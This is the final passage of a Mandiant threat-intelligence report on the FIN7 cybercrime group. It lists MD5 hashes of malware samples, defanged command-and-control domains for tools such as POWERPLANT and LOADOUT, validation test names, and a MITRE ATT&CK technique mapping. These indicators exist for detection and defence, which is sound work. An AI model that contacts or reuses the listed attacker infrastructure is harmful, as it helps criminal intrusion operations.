ransomware samples File MD5 Note ab29b9e225a05bd17e919e1d0587289e DNS BEACON 1c3b19163a3b15b39ae00bbe131b499a DARKSIDE 230a681ebbcdba7ae2175f159394d044 DARKSIDE bf41fc54f96d0106d34f1c48827006e4 DARKSIDE c4da0137cbb99626fd44da707ae1bca8 DARKSIDE 28e9581ab34297b6e5f817f93281ffac FIN7 BEACON 38786bc9de1f447d0187607eaae63f11 FIN7 BEACON 6fba605c2a02fc62e6ff1fb8e932a935 FIN7 BEAKDROP Table 3: Files signed with code certificate CONCLUSION Despite indictments of members of FIN7 in 2018 and a related sentencing in 2021 announced by the U.S. Department of Justice, at least some members of FIN7 have remained active and continue to evolve their criminal operations over time. Throughout their evolution, FIN7 has increased the speed of their operational tempo, the scope of their targeting, and even possibly their relationships with other ransomware operations in the cybercriminal underground. ACKNOWLEDGEMENTS Thank you to Van Ta, Rufus Brown, Dan Perez, Barry Vengerik, Kimberly Goody and Andrew Thompson for a technical review of this content and FIN7 research involved behind-the-scenes. In addition, thank you to all Mandiant Incident Response and Managed Defense responders for harvesting the valuable intrusion data that enables our research. INDICATORS OF COMPROMISE (IOCS) Indicator Notes 0c6b41d25214f04abf9770a7bdfcee5d BOATLAUNCH 32bit 21f153810b82852074f0f0f19c0b3208 BOATLAUNCH 64bit 02699f95f8568f52a00c6d0551be2de5 POWERPLANT 0291df4f7303775225c4044c8f054360 POWERPLANT 0fde02d159c4cd5bf721410ea9e72ee2 POWERPLANT 2cbb015d4c579e464d157faa16994f86 POWERPLANT 3803c82c1b2e28e3e6cca3ca73e6cce7 POWERPLANT 5a6bbcc1e44d3a612222df5238f5e7a8 POWERPLANT 833ae560a2347d5daf05d1f670a40c54 POWERPLANT b637d33dbb951e7ad7fa198cbc9f78bc POWERPLANT bce9b919fa97e2429d14f255acfb18b4 POWERPLANT d1d8902b499b5938404f8cece2918d3d POWERPLANT edb1f62230123abf88231fc1a7190b60 POWERPLANT findoutcredit[.]com POWERPLANT C2 againcome[.]com POWERPLANT C2 modestoobgyn[.]com POWERPLANT C2 myshortbio[.]com POWERPLANT C2 estetictrance[.]com POWERPLANT C2 internethabit[.]com POWERPLANT C2 bestsecure2020[.]com POWERPLANT C2 chyprediction[.]com POWERPLANT C2 d405909fd2fd021372444b7b36a3b806 POWERTRASH Cryptor & CARBANAK Payload 122cb55f1352b9a1aeafc83a85bfb165 CROWVIEW (BIRDWATCH/JssLoader Variant) domenuscdm[.]com CROWVIEW/LOADOUT C2 936b142d1045802c810e86553b332d2d LOADOUT 23e1725769e99341bc9af48a0df64151 LOADOUT 4d56a1ca28d9427c440ec41b4969caa2 LOADOUT 50260f97ac2365cf0071e7c798b9edda LOADOUT spontaneousance[.]com LOADOUT C2 fashionableeder[.]com LOADOUT C2 incongruousance[.]com LOADOUT C2 electroncador[.]com LOADOUT C2 6fba605c2a02fc62e6ff1fb8e932a935 BEAKDROP 49ac220edf6d48680f763465c4c2771e BEACON astara20[.]com BEACON C2 coincidencious[.]com BEACON C2 52f5fcaf4260cb70e8d8c6076dcd0157 Trojanized installer containing Atera Agent 78c828b515e676cc0d021e229318aeb6 WINGNIGHT 70bf088f2815a61ad2b1cc9d6e119a7f WINGNIGHT 4961aec62fac8beeafffa5bfc841fab8 FLYHIGH MANDIANT SECURITY VALIDATION ACTIONS Organizations can validate their security controls against more than 25 actions with Mandiant Security Validation. VID Name A150-527 Command and Control - FIN7, BATELEUR, Check-in A150-528 Command and Control - FIN7, GRIFFON, Check-in A151-165 Command and Control - FIN7, GRIFFON, DNS Query #1 A151-166 Command and Control - FIN7, GRIFFON, DNS Query #2 A104-585 Host CLI - FIN7, Local Javascript Execution via WMI and Mshta A150-546 Malicious File Transfer - FIN7, CARBANAK, Download, Variant #1 A150-548 Malicious File Transfer - FIN7, CARBANAK, Download, Variant #3 A150-710 Malicious File Transfer - FIN7, DICELOADER, Download, Variant #1 A150-549 Malicious File Transfer - FIN7, DRIFTPIN, Download, Variant #1 A150-550 Malicious File Transfer - FIN7, DRIFTPIN, Download, Variant #2 A151-168 Malicious File Transfer - FIN7, GRIFFON, Download, JavaScript Variant A150-553 Malicious File Transfer - FIN7, GRIFFON, Download, Variant #1 A150-554 Malicious File Transfer - FIN7, GRIFFON, Download, Variant #2 A150-555 Malicious File Transfer - FIN7, GRIFFON, Download, Variant #3 A150-572 Malicious File Transfer - FIN7, SUPERSOFT, Download, Variant #1 A150-729 Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #1 A150-730 Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #2 A150-731 Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #3 A150-585 Phishing Email - Malicious Attachment, FIN7, BATELEUR DOC Lure A150-586 Phishing Email - Malicious Attachment, FIN7, GRIFFON DOCM Lure A151-167 Phishing Email - Malicious Attachment, FIN7, GRIFFON, Windows 11 Themed Lure A150-587 Phishing Email - Malicious Attachment, FIN7, Tracking Pixel A150-590 Protected Theater - FIN7, BATELEUR, Execution A151-044 Protected Theater - FIN7, CARBANAK, Execution A150-366 Protected Theater - FIN7, CULTSWAP, Execution A150-591 Protected Theater - FIN7, GRIFFON, Execution A151-170 Protected Theater - FIN7, GRIFFON, Execution, JavaScript Variant A151-169 Protected Theater - FIN7, GRIFFON, Execution, Word Document Variant MITRE ATT&CK MAPPING Throughout 2020 and 2021, Mandiant has observed FIN7 use the following techniques: EXECUTION * T1059: Command and Scripting Interpreter * T1059.001: PowerShell * T1059.003: Windows Command Shell * T1059.005: Visual Basic * T1059.007: JavaScript * T1204.001: Malicious Link * T1204.002: Malicious File * T1569.002: Service Execution INITIAL ACCESS * T1195.002: Compromise Software Supply Chain * T1199: Trusted Relationship * T1566.001: Spearphishing Attachment * T1566.002: Spearphishing Link IMPACT * T1491.002: External Defacement RESOURCE DEVELOPMENT * T1583.003: Virtual Private Server * T1588.003: Code Signing Certificates * T1588.004: Digital Certificates * T1608.003: Install Digital Certificate * T1608.005: Link Target DEFENSE EVASION * T1027: Obfuscated Files or Information * T1027.005: Indicator Removal from Tools * T1036: Masquerading * T1036.003: Rename System Utilities * T1055: Process Injection * T1070.004: File Deletion * T1140: Deobfuscate/Decode Files or Information * T1218.010: Regsvr32 * T1218.011: Rundll32 * T1497.001: System Checks * T1553.002: Code Signing * T1564.003: Hidden Window * T1620: Reflective Code Loading COLLECTION * T1113: Screen Capture * T1213: Data from Information Repositories * T1560: Archive Collected Data LATERAL MOVEMENT * T1021.001: Remote Desktop Protocol * T1021.004: SSH COMMAND AND CONTROL * T1071.001: Web Protocols * T1090: Proxy * T1095: Non-Application Layer Protocol * T1105: Ingress Tool Transfer * T1132.001: Standard Encoding * T1573.002: Asymmetric Cryptography DISCOVERY * T1012: Query Registry * T1033: System Owner/User Discovery * T1057: Process Discovery * T1069: Permission Groups Discovery * T1069.002: Domain Groups * T1082: System Information Discovery * T1083: File and Directory Discovery * T1087: Account Discovery * T1087.002: Domain Account * T1482: Domain Trust Discovery * T1518: Software Discovery CREDENTIAL ACCESS * T1110.002: Password Cracking * T1555.003: Credentials from Web Browsers * T1558.003: Kerberoasting Posted in * Threat Intelligence * Security & Identity RELATED ARTICLES Threat Intelligence HOW LOW CAN YOU GO? AN ANALYSIS OF 2023 TIME-TO-EXPLOIT TRENDS By Mandiant • 10-minute read Threat Intelligence CAPA EXPLORER WEB: A WEB-BASED TOOL FOR PROGRAM CAPABILITY ANALYSIS By Mandiant • 6-minute read Threat Intelligence LUMMAC2: OBFUSCATION THROUGH INDIRECT CONTROL FLOW By Mandiant • 23-minute read Threat Intelligence STAYING A STEP AHEAD: MITIGATING THE DPRK IT WORKER THREAT By Mandiant • 25-minute read FOOTER LINKS FOLLOW US * * * * * * Google Cloud * Google Cloud Products * Privacy * Terms * Cookies management controls * Help * LanguageEnglishDeutschFrançais한국어日本語